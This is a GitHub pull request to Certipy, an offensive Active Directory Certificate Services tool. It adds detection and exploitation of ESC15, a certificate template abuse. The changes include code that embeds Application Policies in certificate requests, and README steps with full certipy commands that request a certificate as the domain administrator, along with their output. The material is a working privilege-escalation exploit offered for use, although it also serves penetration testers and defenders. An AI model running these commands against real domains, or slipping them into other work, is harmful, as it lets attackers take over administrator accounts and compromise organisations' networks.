Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Esc15 ekuwu #4

Open
wants to merge 4 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
86 changes: 86 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -26,6 +26,7 @@ Certipy is an offensive tool for enumerating and abusing Active Directory Certif
- [ESC8](#esc8)
- [ESC9 & ESC10](#esc9--esc10)
- [ESC11](#esc11)
- [ESC15](#esc15)
- [Contact](#contact)
- [Credits](#credits)

Expand Down Expand Up @@ -815,6 +816,91 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Exiting...
```

### ESC15

ESC15 is when a certificate template has most of the primary conditions for ESC1, including:
- The template permits low-privilege users to enroll.
- The template permits the user to specify an arbitrary SAN.
- The template is using Schema Version 1.

However, the template does not have the 'Client Authentication' EKU. Example output of a vulnerable template would look like the following:

```bash
6
Template Name : WebServer
Display Name : Web Server
Certificate Authorities : CORP-DC-CA
Enabled : True
Client Authentication : False
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : None
Private Key Flag : AttestNone
Extended Key Usage : Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 2 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Schema Version : 1
Permissions
Enrollment Permissions
Enrollment Rights : CORP.COM\Domain Users
CORP.COM\Domain Admins
CORP.COM\Enterprise Admins
CORP.COM\Authenticated Users
Object Control Permissions
Owner : CORP.COM\Enterprise Admins
Write Owner Principals : CORP.COM\Domain Admins
CORP.COM\Enterprise Admins
Write Dacl Principals : CORP.COM\Domain Admins
CORP.COM\Enterprise Admins
Write Property Principals : CORP.COM\Domain Admins
CORP.COM\Enterprise Admins
[!] Vulnerabilities
ESC15 : 'CORP.COM\\Domain Users' and 'CORP.COM\\Authenticated Users' can enroll, enrollee supplies subject and schema version is 1
```

We can supply arbitrary Application Policies by using the `--application-policies` parameter.

```bash
certipy req -ca CORP-DC-CA -target-ip 192.168.4.178 -u '[email protected]' -p 'Password1' -template "WebServer" -upn "[email protected]" --application-policies 'Client Authentication'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Trying to resolve 'CORP.COM' at '127.0.0.53'
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:192.168.4.178[\pipe\cert]
[+] Connected to endpoint: ncacn_np:192.168.4.178[\pipe\cert]
[*] Successfully requested certificate
[*] Request ID is 32
[*] Got certificate with UPN '[email protected]'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
```

You can also specify the Application Policy OID directly.

```bash
certipy req -ca CORP-DC-CA -target-ip 192.168.4.178 -u '[email protected]' -p 'Password1' -template "WebServer" -upn "[email protected]" --application-policies '1.3.6.1.5.5.7.3.2'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Trying to resolve 'CORP.COM' at '127.0.0.53'
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:192.168.4.178[\pipe\cert]
[+] Connected to endpoint: ncacn_np:192.168.4.178[\pipe\cert]
[*] Successfully requested certificate
[*] Request ID is 33
[*] Got certificate with UPN '[email protected]'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
```


## Contact

Please submit any bugs, issues, questions, or feature requests under "Issues" or send them to me on Twitter [@ly4k_](https://twitter.com/ly4k_).
Expand Down
16 changes: 15 additions & 1 deletion certipy/commands/find.py
Original file line number Diff line number Diff line change
Expand Up @@ -736,6 +736,7 @@ def get_certificate_templates(self) -> List[LDAPEntry]:
"pKIExtendedKeyUsage",
"nTSecurityDescriptor",
"objectGUID",
"msPKI-Template-Schema-Version"
],
query_sd=True,
)
Expand Down Expand Up @@ -830,7 +831,8 @@ def get_template_properties(
"authorized_signatures_required": "Authorized Signatures Required",
"validity_period": "Validity Period",
"renewal_period": "Renewal Period",
"msPKI-Minimal-Key-Size": "Minimum RSA Key Length"
"msPKI-Minimal-Key-Size": "Minimum RSA Key Length",
"msPKI-Template-Schema-Version": "Template Schema Version"
}

if template_properties is None:
Expand Down Expand Up @@ -967,6 +969,18 @@ def list_sids(sids: List[str]):
enrollable_sids
)

# ESC15 Check: User can enroll, enrollee supplies subject, and schema version is 1
if (
user_can_enroll
and template.get("enrollee_supplies_subject")
and template.get("msPKI-Template-Schema-Version") == 1
):
vulnerabilities[
"ESC15"
] = "%s can enroll, enrollee supplies subject and schema version is 1" % list_sids(
enrollable_sids
)

# ESC4
security = CertifcateSecurity(template.get("nTSecurityDescriptor"))
owner_sid = security.owner
Expand Down
13 changes: 9 additions & 4 deletions certipy/commands/parsers/req.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,13 +5,11 @@

from . import target


def entry(options: argparse.Namespace):
from certipy.commands import req

req.entry(options)


def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
subparser = subparsers.add_parser(NAME, help="Request certificates")
subparser.add_argument("-debug", action="store_true", help="Turn debug output on")
Expand All @@ -31,7 +29,7 @@ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable
"-subject",
action="store",
metavar="subject",
help="Subject to include certificate, e.g. CN=Administrator,CN=Users,DC=CORP,DC=LOCAL",
help="Subject to include in certificate, e.g. CN=Administrator,CN=Users,DC=CORP,DC=LOCAL",
)
group.add_argument(
"-retrieve",
Expand Down Expand Up @@ -71,6 +69,13 @@ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable
action="store_true",
help="Create renewal request",
)
group.add_argument(
"--application-policies",
action="store",
nargs='+',
metavar="Application Policy",
help="Specify application policies for the certificate request using OIDs (e.g., '1.3.6.1.4.1.311.10.3.4' or 'Client Authentication')"
)

group = subparser.add_argument_group("output options")
group.add_argument("-out", action="store", metavar="output file name")
Expand Down Expand Up @@ -106,4 +111,4 @@ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable

target.add_argument_group(subparser, connection_options=connection_group)

return NAME, entry
return NAME, entry
22 changes: 19 additions & 3 deletions certipy/commands/req.py
Original file line number Diff line number Diff line change
Expand Up @@ -37,6 +37,7 @@
from certipy.lib.logger import logging
from certipy.lib.rpc import get_dce_rpc
from certipy.lib.target import Target
from certipy.lib.constants import OID_TO_STR_MAP

from .ca import CA

Expand Down Expand Up @@ -74,7 +75,6 @@ class CERTTRANSBLOB(NDRSTRUCT):
("pb", PBYTE),
)


# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-icpr/0c6f150e-3ead-4006-b37f-ebbf9e2cf2e7
class CertServerRequest(NDRCALL):
opnum = 0
Expand All @@ -86,7 +86,6 @@ class CertServerRequest(NDRCALL):
("pctbRequest", CERTTRANSBLOB),
)


# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-icpr/0c6f150e-3ead-4006-b37f-ebbf9e2cf2e7
class CertServerRequestResponse(NDRCALL):
structure = (
Expand Down Expand Up @@ -148,7 +147,7 @@ def retrieve(self, request_id: int) -> x509.Certificate:
request["pctbAttribs"] = empty
request["pctbRequest"] = empty

logging.info("Rerieving certificate with ID %d" % request_id)
logging.info("Retrieving certificate with ID %d" % request_id)

response = self.dce.request(request, checkError=False)

Expand Down Expand Up @@ -539,6 +538,7 @@ def __init__(
scheme: str = None,
dynamic_endpoint: bool = False,
debug=False,
application_policies: List[str] = None,
**kwargs
):
self.target = target
Expand All @@ -556,6 +556,9 @@ def __init__(
self.renew = renew
self.out = out
self.key = key
self.application_policies = [
OID_TO_STR_MAP.get(policy, policy) for policy in (application_policies or [])
]

self.web = web
self.port = port
Expand Down Expand Up @@ -667,6 +670,13 @@ def request(self) -> bool:
with open(self.pfx, "rb") as f:
renewal_key, renewal_cert = load_pfx(f.read())

converted_policies = []
for policy in self.application_policies:
oid = next((k for k, v in OID_TO_STR_MAP.items() if v.lower() == policy.lower()), policy)
converted_policies.append(oid)

self.application_policies = converted_policies

csr, key = create_csr(
username,
alt_dns=self.alt_dns,
Expand All @@ -676,6 +686,7 @@ def request(self) -> bool:
key_size=self.key_size,
subject=self.subject,
renewal_cert=renewal_cert,
application_policies=self.application_policies
)
self.key = key

Expand Down Expand Up @@ -704,6 +715,7 @@ def request(self) -> bool:

csr = create_on_behalf_of(csr, self.on_behalf_of, agent_cert, agent_key)

# Construct attributes list
attributes = ["CertificateTemplate:%s" % self.template]

if self.alt_upn is not None or self.alt_dns is not None:
Expand All @@ -715,6 +727,10 @@ def request(self) -> bool:

attributes.append("SAN:%s" % "&".join(san))

if self.application_policies:
policy_string = "&".join(self.application_policies)
attributes.append(f"ApplicationPolicies:{policy_string}")

cert = self.interface.request(csr, attributes)

if cert is False:
Expand Down
34 changes: 29 additions & 5 deletions certipy/lib/certificate.py
Original file line number Diff line number Diff line change
Expand Up @@ -334,15 +334,14 @@ def create_csr(
key_size: int = 2048,
subject: str = None,
renewal_cert: x509.Certificate = None,
application_policies: List[str] = None, # Application policies parameter
) -> Tuple[x509.CertificateSigningRequest, rsa.RSAPrivateKey]:
if key is None:
logging.debug("Generating RSA key")
key = generate_rsa_key(key_size)

# csr = asn1csr.CertificationRequest()
certification_request_info = asn1csr.CertificationRequestInfo()
certification_request_info["version"] = "v1"
# csr = x509.CertificateSigningRequestBuilder()

if subject:
subject_name = get_subject_from_str(subject)
Expand Down Expand Up @@ -408,7 +407,6 @@ def create_csr(
if type(alt_sid) == str:
alt_sid = alt_sid.encode()


san_extension = asn1x509.Extension(
{"extn_id": "security_ext", "extn_value": [asn1x509.GeneralName(
{
Expand Down Expand Up @@ -445,6 +443,33 @@ def create_csr(
)
)

# Add Microsoft Application Policies (Windows-specific)
if application_policies:
# Convert each policy OID string to asn1x509.PolicyIdentifier
application_policy_oids = [
asn1x509.PolicyInformation({
'policy_identifier': asn1x509.PolicyIdentifier(ap)
}) for ap in application_policies
]

# Convert CertificatePolicies to a DER-encoded byte string
cert_policies = asn1x509.CertificatePolicies(application_policy_oids)
der_encoded_cert_policies = cert_policies.dump()

app_policy_extension = asn1x509.Extension(
{
"extn_id": "1.3.6.1.4.1.311.21.10", # OID for Microsoft Application Policies
"critical": False,
"extn_value": asn1x509.ParsableOctetString(der_encoded_cert_policies)
}
)

set_of_extensions = asn1csr.SetOfExtensions([[app_policy_extension]])
cri_attribute = asn1csr.CRIAttribute(
{"type": "extension_request", "values": set_of_extensions}
)
cri_attributes.append(cri_attribute)

certification_request_info["attributes"] = cri_attributes

signature = rsa_pkcs1v15_sign(certification_request_info.dump(), key)
Expand All @@ -461,7 +486,6 @@ def create_csr(

return (der_to_csr(csr.dump()), key)


def rsa_pkcs1v15_sign(
data: bytes, key: rsa.RSAPrivateKey, hash: hashes.HashAlgorithm = hashes.SHA256
):
Expand Down Expand Up @@ -957,4 +981,4 @@ def dn_to_components(dn):


def get_subject_from_str(subject) -> x509.Name:
return x509.Name(x509.Name.from_rfc4514_string(subject).rdns[::-1])
return x509.Name(x509.Name.from_rfc4514_string(subject).rdns[::-1])